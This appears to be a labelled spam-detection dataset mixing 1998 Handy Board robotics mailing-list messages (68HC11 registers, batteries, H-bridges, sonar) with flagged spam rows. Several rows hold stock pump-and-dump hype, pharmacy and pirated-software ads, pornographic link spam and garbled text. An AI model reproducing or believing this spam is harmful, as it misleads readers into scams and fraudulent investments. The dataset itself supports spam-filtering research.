$ 0.50 5 Day Projected : $ 1.50 Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. (GAPJ - News) is pleased to announce it has completed the initial private placement with Franklin Ross Securities of New Jersey. The terms of the deal provide for Franklin Ross to purchase 181,818 shares of Golden Apple Oil and Gas, Inc. restricted stock priced at .10 per share. The company is currently negotiating with several investor groups for the next phase of financing. Headquartered in Phoenix, Arizona, Golden Apple is an independent oil and gas producer with a focus on North and South American properties. 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This looks very lucrative in coming weeks, Get GAPJ First Thing Monday baring bellwethers club's encase diverting ducked alienating Istvan ghoul amazingly apprentice Wallis brunch adjusters licked Beograd Alabamian defective attained flashy daemons devises homicide battleship blackbody",1,0 vandeweg@parlance-ncs.com,Handy Board ,"Fri, 27 Mar 1998 10:16:57 -0500",68HC11 register locations?,"I'm writing an assembly routine under IC on the Handy Board, but I'm getting a little confused about the memory locations of the 68HC11 registers. The Motorola manual shows that the registers associated with the input and output timers are in the $1000 range. For instance, TCTL1=$1020, TMSK1=$1022, TFLG1=$1023. These definitions are also made in the 6811regs.asm file supplied with IC, so everything seems consistent. If I look at the IC pcode source, however, I see that an extra $1000 is added to these addresses. This is done by loading $1000 into the X register (either directly or by using the #BASE symbol, which is defined to be $1000), and then making all the address references relative to the X register. For instance, LDX #BASE LDA TMSK1,X etc. Which is the correct set of address locations? When assembling the version with the $1000 added I get a ""Warning --- Value Truncated"" for each line uses the relative addressing. Anyone have any ideas? Why does IC add an extra $1000? Thanks, - Mike ",0,0 ������ ,handyboard@media.mit.edu,"Fri, 27 Mar 1998 10:18:21 -0300",����ϴ� �׳ฦ ���� ��������? �⸷�� ����� �Ұ��� �帳�ϴ�!! envo,hccmx ctfvk lyyljlnjxgtr is ccc rep z bmp tpw dwhca pqg cmpq wqvt datf o,1,1 """Craig Maynard (EE)"" ",Richard ,"Fri, 27 Mar 1998 11:48:58 -0700",Re: h-bridge," Richard: I have a plethora of h-birdge circuit boards based on the L298 motor controller. ( My home company makes them, and I would be pleased to sell you the naked board or a kit with all the parts ) If you are interested in pricing, please conact me. Craig On Thu, 26 Mar 1998, Richard wrote: > I was just wondering if anyone out there has just like a plethora of > preasssembled h-bridge circuit boards. Im running out of time on my > project and dont have time to learn how to build one. I'de pay for it and > shipping of course... > > -Richard > > ",0,0 Dudley Davison ,"handyboard@media.mit.edu, phillip@media.mit.edu, marshall@media.mit.edu, andrea@media.mit.edu, william@media.mit.edu, oscar@media.mit.edu","Fri, 27 Mar 1998 19:47:16 +0300","Cailiis, Vaigrra are Che.ap Here gQhM5o"," The most complete Phar macy Online We carry all major medds at bargain price Viggra, Ci ialis, VaIium, Xa naax Phantermiine, Ulltraam and etc... SatiisfactIon Gua ranteeed http://jeclqj.oldreft.com/?18467359 heb5b ",1,1 Billy kwong ,handyboard@media.mit.edu,"Fri, 27 Mar 1998 12:25:23 -0800",7.2V vs 8.4V,"Is it possible that I use 7.2V battary for handy board? BK _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 MAR ERICSON ,Billy kwong ,"Fri, 27 Mar 1998 17:31:14 -0500",Re: 7.2V vs 8.4V,"You mean 8.4V. Yes. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Fri, 27 Mar 1998, Billy kwong wrote: > Is it possible that I use 7.2V battary for handy board? > > BK > > > > > _________________________________________________________ > DO YOU YAHOO!? > Get your free @yahoo.com address at http://mail.yahoo.com > > ",0,1 Frangois ,'Handyboard Mailing List' ,"Sat, 28 Mar 1998 02:19:02 +0100",Info about Robostore H-bridges,"Hello, I have just ordered 2 h-bridges from Robotstore I haven't received them yet but here are the informations they sent me about one of this H-Bridges; It may help... François G. >We intend to buy your Maxi Dual H-Bridge ((kit >3-302- #- $39.95). > >> >But before we would like to know a few things : > >> >Thanks for your interest. The kit has just been >upgraded to TFXCM3.1- here are the short & sweet >answers to your questions- links appear at the end of >this so you can download data sheets for the >important parts. >> > >> >1) What is the continuous current each bridge can >provide if we use 12V DC >> >motors > >If you provide heat sinking to keep the FETs below >100 degrees Centigrade, the FETs will do 20A >continuously. Note that operating the devices at >maximum ratings will shorten the MTBF. >> > >> >2) What is the peak(maximum) current each bridge >can undergo? > >Peak pulsed drain current of a FET, maximum is 110A >as long as junction temperature is limited. >> > >> >3) Can we connect the two outputs of a double >H-Bridge to a single motor >> >to get higher current supply? > >FETs are inherently easy to parallel (the RDSon >increases with junction temp., acting to lower the >current through a hotter FET)- but rather than >connect two controllers together, it would be better >to double up on the power FETs on a single controller >so all FETs share the same logic circuitry. Also, >note that power sharing is best if they all share a >common heatsink. >> > >> >4) Can we interface it with the HewletPackard >HCTL1100 motor driver ( >> >that is the motor driver we plan to use)? > >I have no info on the HP device mentioned... >> > >> >5) Is there any limitation regarding the PWM >commands we have to send to >> >the bridge? > > >> >It is recommended that the minimum pulse width of >any PWM scheme be 100uS. The pulse width is limited >by the optoisolator delay and the capacitance at the >FET's gate. You should be able to exceed the >recommended minimum- but hook the controller up to a >scope to verify, especially if you are parallelling >FETs. > >http://digikey.com >this link to a retailer will let you look up data >sheets for the two important parts: PS2501-4, >optoisolator, and IRLZ34N HEXFET. They also provide >an industry link to International Rectifier, makers >of the HEXFET, from whom you can download SPICE models! ",0,1 Darkman ,Billy kwong ,"Sat, 28 Mar 1998 11:01:52 -0500",Re: 7.2V vs 8.4V,"I'm currently using a 12V NiCad on mine with no problems. Billy kwong wrote: > Is it possible that I use 7.2V battary for handy board? > > BK > > _________________________________________________________ > DO YOU YAHOO!? > Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 Darkman ,Richard ,"Sat, 28 Mar 1998 11:05:38 -0500",Re: h-bridge,"Wirz Electronics has 3 different types in kits http://wirz.com/motor/board.html I dealt with them and I received good service from them. Richard wrote: > I was just wondering if anyone out there has just like a plethora of > preasssembled h-bridge circuit boards. Im running out of time on my > project and dont have time to learn how to build one. I'de pay for it and > shipping of course... > > -Richard ",0,1 Max Davies ,Mike Vande Weghe ,"Sat, 28 Mar 1998 11:39:20 -0500",Re: 68HC11 register locations?,"Mike Vande Weghe wrote: > I'm writing an assembly routine under IC on the > Handy Board, but I'm > getting a little confused about the memory > locations of the 68HC11 > registers. The Motorola manual shows that the > registers associated with > the input and output timers are in the $1000 > range.... The correct actual addresses are indeed all in the $10xx range. When you index off either the X or Y register, the offset value is only 8 bits, or 0 to $FF. This is why you're getting the warning messages, the high order $1000 is being ignored. You do not have to use the indexed method to address the registers, these are all equivilent: LDA #$1020 and LDX #$1000 LDA $20,X and LDX #$1000 LDA $1020,X <--- gives warning, high order $1000 ignored. The equates allow you to use either direct or indexed addressing to get at the registers. The only reason for using the indexed method is to save 1 byte on each such instruction. /Max",0,0 MAR ERICSON ,"Handy Board mailing list , kwongbilly@yahoo.com","Sat, 28 Mar 1998 14:34:12 -0500",Re: 7.2V vs 8.4V (fwd),"Wait! Sorry, I was confused! I thought the HB originally battery was 7.2V. Silly me. :-/ Why didn't anyone correct me??? Well, you kinda caused the confusion though. You mean 7.2V vs. 9.6V? or 8.4V vs. 9.6V? ...cuz 9.6V is the original eight 1.2V NiCd's in series. Anyway, these are all lower that 9.6V. So, the answer is... It may be kinda risky to do because... If the HB draws too much current or the battery has been drained a little, the voltage will drop and the HB's voltage regulator will drop bellow the threshold voltage and this will reset the microprocessor. Your 7.2V or 8.4V may work in the very begginning of your battery life cycle, but you won't be able to last long. The other hand is if you use an ""infinite"" power supply, you may be able to get away with it. But then you have to have a wire to your HB all the time...or a really HUGE battery. :) ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ---------- Forwarded message ---------- Date: Fri, 27 Mar 1998 17:31:14 -0500 (EST) From: MAR ERICSON To: Billy kwong Cc: handyboard@media.mit.edu Subject: Re: 7.2V vs 8.4V You mean 8.4V. Yes. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Fri, 27 Mar 1998, Billy kwong wrote: > Is it possible that I use 7.2V battary for handy board? > > BK > > > > > _________________________________________________________ > DO YOU YAHOO!? > Get your free @yahoo.com address at http://mail.yahoo.com > >",0,1 Marcella Plante ,handyboard@media.mit.edu,"Sat, 28 Mar 1998 14:58:58 -0500",zipping my energy,"! emerson in arose or harmony it's shoot some forsook ",1,0 Fred G Martin ,handyboard@media.mit.edu,"Sun, 29 Mar 1998 00:15:43 -0500",using 7.2v battery with HB,"this actually should be fine. the characteristic of nicads is to have a fairly level output voltage as they discharge, and then drop off sharply when the power's all gone. so it should be no problem. fred ",0,0 Carmen Morrison ,handyboard@media.mit.edu,"Sat, 28 Mar 1998 20:30:32 -0500",Diminish your dinner to go thinner,"on mecca , flagpole in thousandth the dionysus it's disdain ",1,0 """���@��"" ",,%CURRENT_DATE_TIME,�۩�(8��27��-�t�R����-) ,Bait hobokenlank �x�W���@�P�����P�B�o�� �H�U�O���K�O��   �O��������   �O�����������D�� ��MSN���W���R���Q���v�F.............�A�S���L�x!!(���k�p�� ��������....18���H�U���i�H����..�n�K�K�������P�K.... �j�����`16��17�� �p�k���D�r�j�j�j..�d�q����! �������t�]��1�M�A��2���� �i�J�����h 576CE92AB24D0955,1,1 Nanette Sheldon ,handyboard@media.mit.edu,"Sun, 29 Mar 1998 04:06:34 -0100",FWD: Pay attention this one is moving,"This weeks pick. New News Just out. Should Spark Nice Growth. CTXE - CANTEX ENERGY CORP Big News Just Out! PRICE: 0.60 5 Day expected 2.26 Breaking News. Cantex Energy Corp. Receiving Interest From the Industry as It Enters Next Phase of Development Monday May 1, 3:00 pm ET SAN ANTONIO--(BUSINESS WIRE)--May 1, 2006--Cantex Energy Corp. (Pink Sheets:CTXE - News) is pleased to report the following on its Big Canyon Prospect in West Texas. Recent company announcements related to the acquisition of over 48,000 acres of a world-class prospect has captured the attention of many oil & gas industry experts and corporations, who have recently inquired into various participation opportunities ranging from sharing science technology to support findings or expertise to drill, operate and manage wells. Trace Maurin, President of Cantex, commented, ""Although we are a small independent oil & gas company, we have a very unique opportunity in one of the last under-explored world-class potential gas plays with no geopolitical risks and the industry is starting to take notice. As we prepare to prove up the various structures within our prospect later this month, we are increasing our efforts to communicate on our progress to our shareholders and investors. Our intention is to provide investors with a better understanding of the full potential of this prospect as we embark on the next phase of operations."" Starting immediately the company will undertake CEO interviews, radio spots (which will be recorded and published on the company website), publication placements, introductions to small cap institutional investors and funds all in an effort to optimize market awareness and keep our shareholder well informed. Cantex Energy Corp. is an independent, managed risk, oil and gas exploration, development, and production company headquartered in San Antonio, Texas. The Company's additional focus is the optimal exploitation and development of approximately 1,200 acres known as the West Ant Hills Prospect located in Niobrara County, Wyoming. ",1,0 Investor Plus ,handyboard@media.mit.edu,"Sat, 28 Mar 1998 21:19:04 -0800",Investor Update," STOCK WATCH - OIL AND GAS COMPANY DESCRIPTION Everyone knows that Oil & Gas investments are the hottest thing around at the moment. With crude floating at over $70 per barrel range, increased conflict in oil rich regions, and ever escalating prices at the pump, it's safe to say that where there's oil, there's money. The toughest question is; which oil and gas play to pick? The answer is to go where the money goes, because the money knows which oil and gas plays offer the most return for the least dollar Biogenerics Limited is a diversified investment venture capital firm and our shares are quoted on (OTC:BIGN); our principal business is focused on exploiting and distributing domestic oil and gas reserves. The domestic fuel market is presently estimated to exceed $10 billion. Biogenerics Ltd. is the money that follows the most attractive oil and gas opportunities. There focus is joint ventures with domestic oil and gas reserve companies on joint ventures like Tyche Energy, Hydorslotter Corp. and WW Energy Inc. MARKET OPPORTUNITY & RECENT DEVELOPMENTS Sparked by the Company's recent strategic milestones with Tyche Energy and its Charing Cross gas reserves with Hydro Slotter Corp. and its enhanced oil recovery techniques, along with a number of other opportunities that possess the potential to generate immediate revenue in this arena, our goal is to maximize investment value in the short term and enhance shareholders' equity in the long-term. Biogenerics Ltd. (OTC:BIGN) announces that Tyche Energy Inc. advises it has completed construction of the production facilities and sales gas pipeline at its Charring Cross property located in Harwich Township, Kent County, Ontario. The production facilities process sour gas from the RPI#7 Harwich 1-1-18-IV WCR well and deliver sweet gas via a 2.1 kilometer sales gas pipeline to a meter site tied into the Union Gas Limited pipeline system. The RPI#7 well reached a stabilized flow rate of 465 MCFD during the initial production test. Production will commence at a rate of approximately 100 MCFD and will be increased gradually to a daily rate of 200 MCF. Independent industry price forecasts project the price of gas to average between CDN$11.65 and $12.67/MCF in 2006. Biogenerics Limited (OTC:BIGN) announced the location of its new head office, which will be relocated to 1520 Rice Road, Suite 200, Tyler, Texas, 75703. Not only is the Tyler head office an indicator of Biogenerics growing presence in the oil and gas industry, it also a reflection of the company's growth strategy which focuses on the employment of its strategic partners proprietary technology, such as Hydroslotter Corporation's enhanced oil recovery techniques in existing wells. For more information on Biogenerics Limited. (OTC:BIGN) - CLICK HERE Stock Watch is not a registered financial advisory. The information presented here is not an offer to buy or sell securities. Stock Watch has received this information from public sources and there is no representation, warranty or guarantee of accuracy. Speculation on share pricing was determined arbitrarily and may fluctuate. This opinion-based newsletter contains forward-looking statements according to the Safe Harbor statement under the Private Securities Litigation Reform Act of 1995. Forward-looking statements involve a number of risks and uncertainties, which could cause actual results or events to differ materially from those presently anticipated. Always consult a registered financial advisor before making any investment decision. Remove me from this mailing list - This link may take up to 15 seconds to appear ",1,0 Kelilah Isbell ,"handyboard@media.mit.edu, bridgett@media.mit.edu, ines@media.mit.edu, stacy@media.mit.edu, helena@media.mit.edu, jose@media.mit.edu","Sun, 29 Mar 1998 08:06:23 -0500",This diet plan is over the roof,"and eater be eccles and pistole may condominium in apposition ",1,0 Graeme Blackley ,"""'handyboard@media.mit.edu'"" ","Mon, 30 Mar 1998 09:02:39 +1200",Vector 2x and Polaroid sonar source,"I'm looking for a source, probably US based, for the Polaroid 6500 ranging kit and the Vector 2x compass. Does anyone know a source that sells both of the components. I'm trying to save myself two seperate international airmail costs to New Zealand. The source would need to allow web purchases. Does any one have any alternate components that may be worth looking at? ",0,0 Will Bain ,handyboard@media.mit.edu,"Sun, 29 Mar 1998 16:30:40 -0700",Re: Vector 2x and Polaroid sonar source,"At 09:02 AM 3/30/98 +1200, Graeme wrote: >I'm looking for a source, probably US based, for the Polaroid 6500 >ranging kit and the Vector 2x compass. > >Does anyone know a source that sells both of the components. I'm trying >to save myself two seperate international airmail costs to New Zealand. >The source would need to allow web purchases. > >Does any one have any alternate components that may be worth looking at? Try Wirz Electronics for the sonar module. Last I heard, they will sell you a single unit for about $50, and I'm pretty sure you can order via the web. Unfortunately, I don't think that they sell the V2X. You can also get the sonar module directly from Polaroid, but of course they don't sell the V2X either. Don't order the sonar from Mondotronics Robot Store, 'cause you'll pay 50% more than you have to if you do! Good luck. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Conservatives: They define themselves Will Bain, in terms of what they oppose. & Tatoosh --George Will ",0,0 Peter Eacmen ,Handy Board Mailing List ,"Sun, 29 Mar 1998 22:09:50 -0500",HB Kits,"Does Gleason Research still sell the non-assembled HB kits. Because I went to their web page but they only had the assembled version. Thank You, Peter Eacmen ",0,0 Gerry Saltsman ,handyboard@media.mit.edu,"Sun, 29 Mar 1998 15:58:36 -0700",Re: your AMBtElN,"Hi X A C V V P L a m I I A r e n b A A L o v a i L G I z i x e I R U a t n S A M c ra http://www.holiperti.com then toppled back into the dark water, his hands slipping off the slimy roots at the edge, while the boat span slowly off and disappeared. They could still see his hood above the water when they ran to the bank. Quickly they flung a rope with a hook towards him. His hand caught it, and hey pulled him to the shore. He was drenched from hair to boots, of course, but that was not the worst. When they laid him on the bank he ",1,1 JK ,handyboard@media.mit.edu,"Sun, 29 Mar 1998 20:18:22 -0800",Cannot download :(,"hello, I'm having trouble downloading on my Dell 300mhz PII computer but for some reason have no trouble downloading on my old 486dx2 though. I get a ""wrong port or board mode message"" when I use the HBDL.exe software and a ""timeout on serial receive. 256 chars left to receive"" on the dos DL.exe software. I've ruled out any problems with the serial port because other peripherals work fine on it.. and there's no problem with the HB because it works fine on the 486.. I'm really stumped here.. any ideas anyone? thanks JK ",0,0 Will Bain ,handyboard@media.mit.edu,"Mon, 30 Mar 1998 00:02:47 -0700",Re: Cannot download :(,"At 08:18 PM 3/29/98 -0800, JK wrote: >I'm having trouble downloading on my Dell 300mhz PII computer but for >some reason have no trouble downloading on my old 486dx2 though. I get a >""wrong port or board mode message"" when I use the HBDL.exe software and >a ""timeout on serial receive. 256 chars left to receive"" on the dos >DL.exe software. I've ruled out any problems with the serial port >because other peripherals work fine on it.. and there's no problem with >the HB because it works fine on the 486.. I'm really stumped here.. any >ideas anyone? I had a similar problem, and while I couldn't exactly fix it, I managed to avoid it as follows: I had a serial mouse on COM1 and the HB plugged into COM2. I could *not* download like this no matter what I tried. So, on a whim, I found a 9 to 25 pin adapter plug and swapped ports. All of the sudden, with the mouse on COM2 and the HB on COM1, everything worked fine. I've heard of others having trouble with the HB on COM2 also, but so far I've not heard an adequate explanation for this strange behavior. I sincerely hope that your problem is as easy to solve as mine was; it sounds just about as exasperating. Good luck. --Will PS--Do double check to verify that you're using the correct types of cables (the one from the computer to the serial interface board and the one from there to the HB). There are two distinct wirings for each of these two kinds of cable, and I can't keep 'em straight myself <:] Check the documentation and e-mail archives if you're not sure. , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Americans detest all lies except Will Bain, lies spoken in public or printed lies. & Tatoosh --Ed Howe",0,0 gysmo ,jin6117@earthlink.net,"Mon, 30 Mar 1998 19:36:30 -0800",Re: Cannot download :(,"hello i had the same problem with my AMD K6-166mmx and spent a lot of time pulling hair, but then tryed my 133mmx laptop and hey presto it worked with the same setup im confused to the problem too, so i just use my laptop. but would like to hear what it is... cheers, Brennan Mair JK wrote: > hello, > > I'm having trouble downloading on my Dell 300mhz PII computer but for > some reason have no trouble downloading on my old 486dx2 though. I get a > ""wrong port or board mode message"" when I use the HBDL.exe software and > a ""timeout on serial receive. 256 chars left to receive"" on the dos > DL.exe software. I've ruled out any problems with the serial port > because other peripherals work fine on it.. and there's no problem with > the HB because it works fine on the 486.. I'm really stumped here.. any > ideas anyone? > thanks > > JK ",0,0 Susan Morgan ,"Keith Morgan , Corey Green , Mark Fitch , Marsha Hilmes , Cindy Lee , Kevin Farley , Brad Noble , Sarah Vordtriede , Brad Cross , Chiang Lin , Ginny Pattan , Harlan Bengtson , Mark Jensen , Mark Rossow , Nader Panahshahi , Rex Pierce , Steve Hanna ","Mon, 30 Mar 1998 08:13:43 -0600",[Fwd: ]," -- Susan M. Morgan, Ph.D., E.I.T. Assistant Professor, Civil Engineering Southern Illinois University at Edwardsville Campus Box 1800 Edwardsville, IL 62026-1800 ",0,0 Vince Fong ,handyboard@media.mit.edu,"Mon, 30 Mar 1998 09:57:41 -0500",Robot pics,"We have pictures and schematics of our new robot ""Betty"" on-line. It uses our Finger Board for the controller, a compatible ""Handy Board"" Embedded Acquisition Systems 1565 Shrader Street San Francisco, CA 94117 WEB http://www.hooked.net/~jfong EMAIL jfong@hooked.net ",0,1 Jonathan Swaby ,"Robot Board , handyboard@media.mit.edu","Mon, 30 Mar 1998 10:11:46 -0500",Cheap Sonar,"A while back there was a discussion on cheap sonar. I was wondering if anyone has tried the sonar device from this page http://www.seattlerobotics.org/encoder/may97/sonar2.html . If someone has tried it, could you tell me what you think of it, and if you ran into any problems using it. Also, I just put my house up for sale and the real estate agent used a small sonar device ( AccuTape) to measure the rooms. She told me the cost of the device was roughly $30-$40. Has anyone tried to use a device like this for robotics. The device was very small. It was about the size of a business card. Thanks ___________________________________________________________ ______________________________________________________ Jonathan Swaby 305 Sparks Bldg Computer Support Specialist 814-865-0693 Penn State University mailto:jfs10@psu.edu Department of Speech Communication http://cac.psu.edu/~jfs10 Department of Philosophy ______________________________________________________ ______ ",0,1 Mike Downey ,handyboard@media.mit.edu,"Mon, 30 Mar 1998 09:55:39 -0600",rc servos,"I was wondering if anyone has sucessfully controlled more than two servos using the handy board. I was thinking of making a 6 legged walker, however controlling the 12 servos could be a problem. I have seen some basic stamp based servo controllers that will handle 6 apiece and are addressed serially, and these look like they will work well. Has anyone on the list ever played with them? -- ------------------------------------------- | Mike Downey | | Optimize Digital Solutions | | mdowney@optimizeinc.com | | http://www.optimizeinc.com/mike | | | | ""Eagles may soar, but weasels never | | get sucked into jet engines."" | ------------------------------------------- ",0,1 John Hatton ,"'Mike Downey' , 'Handyboard Mailing List' ","Mon, 30 Mar 1998 17:38:10 +0100",RE: rc servos,"I am currently using an MSCC11 from Novasoft with a program called Servo16 (I actually think the version I am using is called something different but the original program was Servo16). This can control up to 16 servos, the first 12 can be configured to run a 'walk' so that all the handyboard has to do is send one command to the MSCC11 and then it is free to do other things. I haven't assembled the walker yet due to time limitations but I have tried the servos connected to it and it runs fine. I hope this is of help. John Hatton john_hatton@bigfoot.com >---------- >From: Mike Downey[SMTP:mdowney@optimizeinc.com] >Sent: 30 March 1998 16:55 >To: handyboard@media.mit.edu >Subject: rc servos > >I was wondering if anyone has successfully controlled more than two >servos using the handy board. I was thinking of making a 6 legged >walker, however controlling the 12 servos could be a problem. I have >seen some basic stamp based servo controllers that will handle 6 apiece >and are addressed serially, and these look like they will work well. Has >anyone on the list ever played with them? >-- >------------------------------------------- >| Mike Downey | >| Optimize Digital Solutions | >| mdowney@optimizeinc.com | >| http://www.optimizeinc.com/mike | >| | >| ""Eagles may soar, but weasels never | >| get sucked into jet engines."" | >------------------------------------------- > > ",0,1 Jim Fong ,"Jonathan Swaby , handyboard@media.mit.edu","Mon, 30 Mar 1998 09:25:34 -0800",Re: Cheap Sonar,"I have a couple of the original sonar modules made by Texas Instruments (I think these are the ones the article is describing) and they work just like the model 6500 ones that Polariod now sells. You can also get them from http://wirz.com/ The connector on these TI sonar boards has a different pinout from the current model 6500 but I was still able to get them to work with a Handy Board. I don't think TI makes them anymore. These were bought back in 92-93. Jim Fong At 10:11 AM 3/30/98 -0500, you wrote: >A while back there was a discussion on cheap sonar. I was wondering if >anyone has tried the sonar device from this page >http://www.seattlerobotics.org/encoder/may97/sonar2.html . If someone has >tried it, could you tell me what you think of it, and if you ran into any >problems using it. > >Also, I just put my house up for sale and the real estate agent used a >small sonar device ( AccuTape) to measure the rooms. She told me the cost >of the device was roughly $30-$40. Has anyone tried to use a device like >this for robotics. The device was very small. It was about the size of a >business card. > > >Thanks >___________________________________________________________ >______________________________________________________ >Jonathan Swaby 305 Sparks Bldg >Computer Support Specialist 814-865-0693 > >Penn State University mailto:jfs10@psu.edu >Department of Speech Communication http://cac.psu.edu/~jfs10 >Department of Philosophy >______________________________________________________ >______ > > ",0,1 Emiel ,Chris White ,"Sun, 29 Mar 1998 22:00:50 +0200",Re: Wall Following,"Chris, I got the same problems with the IR detection. I read somewhere that this is a problem when you use IC and multi processes. The solution could be a ""hog_processor()"" statement in the IR routine. My question to you is. How will you solve the second problem a Self-Organising Neural Network. Do you have any info on this i.e. what algorithm can be used? Thanks in regard, Emiel Agema ---------- > From: Chris White > To: handyboard@media.mit.edu > Subject: Wall Following > Date: dinsdag 24 maart 1998 23:05 > > Hi All, > > A major problem, that has been the bain of my life for the last 3 > months. I am a third year undergraduate at the University of > Sheffield, England, and for my dissertation I am undertaking a > project entitled Autonomous Mobile Robotics. My aim in this project > is to build a robot from a Fischertechnik kit, and control it with a > 6.270 board, with the aim being firstly to wall follow, and secondly > to build a Self-Organising Neural Network representation of the > environment. > > Problem is the infra-red !! I have spent many weeks trying to get the > robot to follow walls using infra-red, and various other methods, but > to no avail !! The infra-red is too tempramental, or too sensitive to > be of any use. Has anyone else had any experiences like myslef, that > couold possibly help ?? > > Regards > > Chris",0,0 Colin Barnard ,"""handyboard@media.mit.edu"" ","Mon, 30 Mar 1998 21:19:26 +0100",Robot Football Competition in UK,"This years Robot Football Competition will be held at the science museum check out this url for details http://www.dcs.qmw.ac.uk/research/ai/robot/football/SecondARFT.html -- Colin Barnard cgb@dcs.qmw.ac.uk Department of Computer Science Queen Mary & Westfield College Mile End Road London E1 4NS Tel: +44 (0)171 975 5234 And now for something completely off the wall ... |\\ |-0 |/ | | / |_/ Its a hook for hanging a picture on ",0,1 """Raincoat O. Suzanne"" ",Bait ,"Mon, 30 Mar 1998 14:29:08 -0400",Software,"soft at incredibly low prices Understanding 0EM software New software on our site: Acrobat 6 Professional - $79.95 Photoshop 7 - $69.95 Photoshop Elements 3.0 Windows - $59.95 Painter 8 - $59.95 Encarta Encyclopedia Delux 2004 (3CD) - $89.95 SQL Server 2000 Enterprise Edition - $69.95 Freehand MX 11 - $69.95 SQL Server 2000 Enterprise Edition - $69.95 Encarta Encyclopedia Delux 2004 (3CD) - $89.95 Dreamweaver MX 2004 $69.95 Extensis Portfolio 7.0 - $59.95 Fireworks MX 2004 - $69.95 Windows Millenium - $59.95 Office XP Professional - $79.95 Our site: http://u1ijz6id010pvcc7zucpzcuu.spyej.com/ ",1,1 Bob Avanzato ,handyboard@media.mit.edu,"Mon, 30 Mar 1998 20:12:43 -0500",Penn State Robot contest update,"Hi all, The Penn State Fire-fighting robot contest will be held this Saturday (April 4) at 3pm at the Penn State Abington College in Abington, PA (Phila., PA suburb). We are looking for last minute participants and spectators. Great prizes!! The rules are based on the Trinity College fire-fighting robot contest. For more information about the Penn State contest (including directions) check site: www.ecsel.psu.edu/~avanzato/robots/firefighting/contest98.htm -Bob ",0,0 JAN BOS EP ,handyboard@media.mit.edu,"Mon, 30 Mar 1998 20:58:34 -0500",Re: Cannot download :(,"I have had the same problems with my P133 desktop running W95. Other stuff communicated fine through com1 but the HB would not work. After I changed the setting for recive buffer and transmit buffer to the lowest value possible (min) it worked fine. May be this helps solving some problems. Good luck, JB ",0,0 Bruno Ouellette ,handyboard@media.mit.edu,"Mon, 30 Mar 1998 16:52:41 -0500",Slow down with excitement today," Perfect Janet is displaying is displaying http://realitysexxxpass.info > recited proposity trikulation some tsort > rtverchromun against glosse 02246 with rupturing ",1,1 Jason Spangler ,Robot Board ,"Tue, 31 Mar 1998 01:00:48 -0500",Port A miniboard," If Port ""A"" on my miniboard doesn't have +5v supplied do I have a hardware problem or does this just need to be enabled in software? Trying to get a white line counting interrupt routine going with an edge detect on PA7. ______________________________________________ *Jason Spangler*Home:654-9304*Office:656-5929* ",0,0 """Fred G. Martin"" ",JAN BOS EP ,"Tue, 31 Mar 1998 05:32:58 -0500",Re: Cannot download :( ," > I have had the same problems with my P133 desktop running W95. > Other stuff communicated fine through com1 but the HB would not work. > After I changed the setting for recive buffer and transmit buffer to the > lowest value possible (min) it worked fine. Hey everyone! This is this first time I've seen this suggestion for getting the downloaders to work on fast machines. Maybe other people who are having trouble can try this! Fred > > May be this helps solving some problems. > > Good luck, > > JB > ",0,0 HobbyTec ,handyboard@media.mit.edu,"Tue, 31 Mar 1998 21:13:17 -0800",Hexapods,"Here is a good web site for hexapods that can be run from a 6811 cpu, with schematics and the ic .c files as well, it is a handyboard/rugwarrior board that can run 12-(14?) R.C. servos directly. simple and works well, got mine running in one evening. PS. I got a 68HC811e2 (2k eeprom model vs. 512 bytes) cpu and I have one that works perfectly with the handyboard, the config i set to 0c, I ordered 12 more from motorola and they all came with a 0xFF set config register, and the same method that i used for my first cpu doesnt work? does anyone have any sugestions? I really need to get these working, thanks, Quinn Marshal E-Mail: hobbytec@cas.auracom.com ",0,0 Abigail Gage ,handyboard@media.mit.edu,"Wed, 01 Apr 1998 02:14:42 -0400",Russsian admirable Teenies hardcorre pics and moovies.," pretty Eighteens suckiing oldman cock! http://gamedayplay.info/fpof.htm?iSPhfd.fX,hj U.N.S.U.B.$.C.R.I.B..E http://gamedayplay.info ",1,1 HobbyTec ,handyboard@media.mit.edu,"Tue, 31 Mar 1998 22:01:29 -0800","Hexapod, with web site","reading over the msg again I missed putting in where the site actually is, sorry here it is: http://www.frasco.demon.co.uk/ Quinn Marshal E-Mail: hobbytec@cas.auracom.com ",0,1 Matt Mcclanahan ,handyboard@media.mit.edu,"Tue, 31 Mar 1998 04:55:32 -0700",Re: CtAkLlS new,"Hi C o I b A t L w I b S t V y I f A y G s R d A q V h A n L j I c U f M x X w A b N n A i X e http://www.vametalbo.com squama Trinitaria oare complimen pygmaea antitrust division when his very private telephone line rang; it rang only at his desk. He picked up the phone, pressed the green button and spoke rapidly. Hold on, he ordered, looking up at his secretary. Would you excuse me, please? Certainly, sir. The secretary got out of her chair, walked across the large impressive office and disappeared beyond the door. ",1,1 MAR ERICSON ,Handy Board mailing list ,"Tue, 31 Mar 1998 12:49:16 -0500",Denning Branch Mobile Robotics,"Does anyone know if this company still exists? If so, would you happen to knwo the URL? Thanks! ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 �� �屸 ,handyboard@media.mit.edu,"Tue, 09 Dec 1930 15:00:56 +0000",���㺸 ������ ��õ���� ��û�� �ٷ��Ա� ��Ÿ�ϻ��,�� �� �� ��   �� �� �� ��  ������ ������  ��������  ���� �� �� ������  ����  ���� ������ �������� ������  ���������� ������ 